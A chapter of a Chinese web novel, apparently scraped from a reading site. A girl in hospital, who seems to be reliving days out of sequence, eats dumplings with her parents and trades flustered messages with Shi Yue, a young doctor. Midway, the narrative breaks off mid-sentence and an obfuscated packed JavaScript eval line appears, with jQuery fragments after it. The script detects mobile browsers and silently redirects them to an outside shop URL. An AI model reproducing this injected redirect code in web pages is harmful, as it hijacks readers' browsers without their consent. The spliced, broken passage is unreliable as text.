爸爸来得很快，拎着保温盒进来的时候气喘吁吁地伸着脖子甩掉下巴上的汗珠：“乖宝儿，快点看看这个是不是你要的那家？都过了上学点人还恁多，应该味道不错。”
带着点口音的粗嗓以及塑料袋细碎的摩擦声音冲进病房，静默的空气好似突然活了起来。
中年男人麦色的皮肤热的发红，几日不见漆黑的头发变成了掺着白发的杂乱长短发。
以前爸爸头发是黑色的，没什么发型，但常常修剪，很有精神气。
直到前几天“出院”的时候跟她炫耀，她才知道是一直是有坚持在染的。
忙着到处做准备工作，好几天没见，她第一次见到了自己生病期间的爸爸。
爸爸妈妈都在她出院以后抱着“迎接新生活”的心态把自己整理的精神抖擞，并多年里一直保持着对生活的热忱。
“出院”那天以后第一次在病床上醒来，她见到了虽然满心喜悦却乱糟糟的妈妈，当时已是望着她失神良久，现在又见到了同样的爸爸，祝祝虽然早料想过，此时真的照面，心里不免滋味万千，连刚刚才有的一点点对病期生活恐惧的平复和脱离感瞬间被拉回现实。
盛着鸡汤的保温盒和用锡纸泡沫裹好的小笼包拎到她眼跟前，爸爸对着她晃晃手里的袋子：“想啥呐？是叫你妈把小桌板升起来在床上吃还是到桌上吃？这两个都带汤，去桌上好不囡？”
食物不明显的热香在鼻间隐约攒动，但祝祝本该被吊起的馋虫硬生生哽住，回答时笑容和嗓音都有些模糊了：“好啊。”
爸爸高高兴兴于是去桌边拆袋子：“要是你喜欢啊，等你出院爸爸经常能带你去吃，那条街离咱们家房子很近的，老热闹，全是吃的，白天蒸汽晚上油烟，你到了那，要吃啥都有！”
袋子被打开以后香气乍浓，祝祝却不合时宜的捕捉到他话中的漏洞来。
她们家后来的确经常去那条街吃小笼包，她被带去了一次就很喜欢，他们偶尔会说“她最喜欢吃的小笼包”，她却一直不知自己从何时说的。
但今天，妈妈的话里有一个关键词“不知道哪家”，爸爸也下意识和她描述了那家店的生意顺便介绍了这条街。
这基本代表着这就是他们眼中的“第一次”。
常常经历友谊的过渡期并结束，“复学”阶段更是频繁，她甚至都要忘了，有开始的不仅仅是人来着。
她明明常常嘱咐身边人或者自己，去买回刚刚“明后天”拿到手过或者“明天”刚刚撕开包装的东西。
可那些太普通，普遍的日常的必须品一直存在于生活，但确切的一种东西，会有第一次见到这件事。
而这在未来的她生活中无数次被爸爸妈妈兑现的小笼包，好像就突然的，止步在今天了。
冒着热气的小笼包一个个排列在盒子里，祝祝接过爸爸掰好的一次性筷子去夹，因为戳破漏汤的前科太多，所以她小心翼翼的。
凑近盒子边缘咬开半透明的外皮，鲜汤浓郁香气和气味涌入口腔。
她眼圈一下子就红了，然后扬声笑说：“好吃的，我要把它列为我最喜欢的小笼包！”
笑意强撑到一半就染上哭腔，爸爸愣了一下，手忙脚乱捧她的脸：“怎么啦怎么啦？”
又喊妈妈：“哎呀老婆……”
“汤太烫了爸爸。”祝祝拨开他的手。
“舌头烫麻了，疼得。”她弯起眼睛傻笑。
几步外跑到一半的妈妈也听到，摆手：“哎呀，灌汤的东西就是容易这样，烫嘴说明你爸爸跑得快，你小心点就行。”
“嗯！”
昨晚睡觉前没来得及读今天的日记，从下午到晚上都在外面闲逛，后来还试图从护士姐姐那套消息，回来都熄灯了，躺下以后又爬起来，打了手电匆匆忙忙用序号123写了昨天的事情才睡下了。
“还有这鸡汤啊，哇塞好香你闻闻，昨天晚上坐那打瞌睡，差点炖干，就剩这么一罐子……啧，浓缩的都是精华，肯定好喝。”爸爸从小布口袋里拿出一只瓷勺子一勺勺舀进小碗里，冷不丁被妈妈在后背拍了一掌：“灶上烧着你敢打瞌睡？我这段时间没回家看你给屋里糟完了吧？”
“哎呦！”爸爸吃痛，缩了缩脖子，“哪能啊。”
妈妈又在他胳膊上拧了一下：“不能就行。”
祝祝抿着鸡汤看他们，随手翻了一下被时间删减得只剩零星几个人的通讯录和朋友列表，时越算一个，其他的有医院里的，但大部分是家人。
想了想，祝祝对着小笼包拍了个照片发给时越：又拜拜一个好吃的，默哀一下[/心碎]
那边过了一会儿回：我今天都在八楼，吃好了可以来。
这么冷漠？
嘴里还含着一口汤，祝祝腾出两只手扣了个问号。
【有点开心】？
三分钟后。
【百里】[语音13s"]
祝祝：“？”
重新捏起筷子，她顺手点开语音，下一秒时越紧贴着话筒的声音在屋内炸响：“我是想说‘今天我都在八楼，有空了随时找我~[/摇尾巴]’，不是‘我今天在八楼，爱来不来[/冷漠脸]’。”
语气变换得太快，她听得发懵，连减音键都没来得及按。
房间里一时有些凝滞，祝祝僵硬的扭过头看向旁边的两位，爸爸妈妈也都直直盯着她，两相对视时，甚至妈妈手指还捏着爸爸的耳朵。
祝祝：“……”
完蛋，尴尬中还有点想再听一遍。
语音转文字的框框里，系统还给配上了波浪线和表情包。
真要命啊。
【百里】祝祝[/难受]
手机又“叮”了一声，爸爸妈妈恢复了行动，并未说什么。
祝祝也机械的回正脑袋，咽下嘴里的鸡汤埋头吸小笼包。
心虚似的等待了一阵儿，祝祝点进自己的主页，编辑信息将昵称改成了【有点吵】。
两秒后时越弹过来一个问号。
【有点吵】我是说手机。
空了几秒，祝祝又补了一个波浪号过去。
【百里】[/再见]
还挺有意思。
祝祝放下手机专心吃东西，手机屏幕亮着，白色的语音条好像一直在余光里晃悠，但指尖只是戳着筷子杆，不经意间一下一下地未停歇。
过了一会儿，爸爸在旁边坐下：“乖宝儿，听你妈说前两天你又跟时越那小子出去玩嘞？玩的啥？”
玩的啥？
她现在哪知道。
“哪前几天，就昨天。”妈妈纠正道，“我天天给你说的话一转眼就不记得啥时候说的了，还有，叫人家时医生。”
祝祝登时开始思考怎么回话，就听爸爸唏嘘着和妈妈顶嘴：“噫嘻，时越他还不是啥正经医生呢，拐我女儿我喊他尊称，以后不把我放眼里怎么办？”
“人家比我们陪安安的时间还长，他不是从……”妈妈又察觉说偏了话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752556|187710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，猛然刹车熄火。
关于“未来”的碎片，祝祝就是这样获得的。
妈妈没说完，但她大约听懂了，至少他们的联系真的可以持续到她用上背好的号码的那天。
正默默思索，暗下去的手机屏幕在彻底熄屏的前一秒重新亮起来。
【百里】所以你号码背下来了吗？我都忘记查你[/严肃]
手臂上的水笔字已经没有了，她昨天晚上想想还是洗掉了，反正又带不到今天，那最好也不要莫名其妙在前天出现。
“叩叩。”
门被敲响，推着小车的护士姐姐在门口停下：“祝永安今天要挂水哦。”
机器扫描腕带核对，护士姐姐给她消毒滞留针：“今天最后一次了，挂完这个针可以彻底拆了哦……啊有一点凝血，这个上面写的日期你弄掉了呀，哪天的？”
今天突然出现在手上，她根本不知道是哪天的，吱吱唔唔半晌，妈妈上来替她回答：“今天第七天了，她昨天把止流夹弄开了一次回了点血，当时就叫其他护士来冲过了，为了保到今天用最后一次，但后面还是有点回血，你看要重扎吗？”
药液流进血管后经过手腕，冰凉的感觉让手腕一阵酸，祝祝转了转手腕靠在椅背上。
“哎安安，”护士跟她很熟了，平时没少讨论她和时越，倾身时不小心瞥到她手机界面，隐约看见头像熟悉的颜色，免不得好奇，“刚刚还真是你和小时医生聊天啊，怪不得啊~”
咋？祝祝偏开一点屏幕朝向：“他怎么了？”
护士一回想就忍不住憋笑：“他刚刚用电脑写作业呢好像，突然站起来对着手机连发好几遍同一条语音，念到转文字以后有表情包才转发。”
祝祝：“……？！”
“试了五六次吧，后面急得快把椅子挪烂才成功。”笑没憋住，护士收拾好工具，临走前悄悄叮嘱，“一定要听，文字版没有语音好笑。”
祝祝：“……”
已经听了。
但现在重要的不是怎么才能再听几遍这条语音，而是前面五六条是什么样的。
或者现场版视频也成。
可爱。
有点，对，只是有点。
【有点吵】绝对背下来了。
【有点吵】[rua一把.GIF]
表情包动图里的狗子突然炸成一个毛球，祝祝抱着手机反复播放那只动画小狗，牙齿无声咬住自己左手食指的指节，左右磨了磨，将那只炸毛狗幻视成时越。
而此时正坐在值班室对着电脑切小窗偷看网课的时越：“？”
【百里】发错了？还是你是那只狗？
预防对号入座这件事，他一般会下意识抢先对方展现出攻击力，于是手比脑子快，回完才想起来对面是谁。
时越一仰身倒在转椅靠背上，没想起来这个椅子底部螺丝有点松，他这一靠，连接处“嘎哒”一声向后倾斜出一个角度，超出预估范围的后仰让时越差点以为要倒，迅速抓住扶手稳住。
隔着玻璃墙，有值班同事正好看见这一幕，爆发出一阵哄笑。
时越确定好它不会真的倒，仰头瘫在这个倒霉的椅子上，双手紧紧捂住脸。
不要啊，他的确对把刚认识的人当熟人这件事很有经验，但现在为啥是祝祝啊？
这个他真没办法了。
［对方撤回一条消息并百米冲刺滑跪］
另一头刚想打字但收到提示的祝祝：“？？？”